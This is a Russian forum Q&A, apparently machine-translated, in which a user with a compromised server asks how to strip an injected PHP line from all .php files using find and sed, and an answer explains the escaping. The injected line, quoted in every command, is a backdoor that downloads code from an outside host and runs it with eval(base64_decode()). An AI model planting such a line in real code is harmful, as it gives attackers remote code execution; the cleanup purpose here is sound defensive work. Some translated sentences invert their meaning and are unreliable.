1

В жизни я не могу заставить это работать, независимо от того, сколько разных комбинаций я пробую. Я пытаюсь рекурсивно искать в папке файлы php, содержащие определенную строку, и заменять ее чем-то другим, но я не должен экранировать ее правильно:

find . -name "*.php" -print | xargs sed -i "s|<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>|?>|g"

Кажется, что Sed ничего не может найти, хотя я знаю, что строка находится в нескольких файлах (к сожалению, похоже, что наш сервер был взломан).

1 ответ1

0

Я предполагаю, что ваш входной файл выглядит так:

<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>

Я предполагаю, что замена, которую вы хотите выполнить, точно соответствует написанной. Затем, чтобы заставить это работать, единственное изменение, которое необходимо, должно избежать знаков доллара. Таким образом, используйте:

find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;

Более безопасный подход - использовать везде, где это возможно, одинарные кавычки, чтобы избежать интерполяции оболочки:

find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

При моем предполагаемом вводе вышеприведенное дает результат

?>

Обратите внимание, что использование xargs является необходимым. Современные версии find имеют опцию -exec которая выполняет большую часть того, что раньше делал xargs .

Еще: чтобы увидеть, над какими файлами работает sed , можно добавить оператор print в команду find :

find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

При выполнении вышеизложенного имена файлов, передаваемых в sed будут отображаться на терминале (stdout).

Еще: Чтобы точно увидеть, какие изменения внесла sed в файлы, сохраните резервную копию оригиналов:

find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

В этом случае, если sed обрабатывает something.php .php , то оригинал сохраняется в something.php.saved . После этого изменения, если таковые имеются, могут быть проверены с помощью:

diff something.php.saved something.php

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .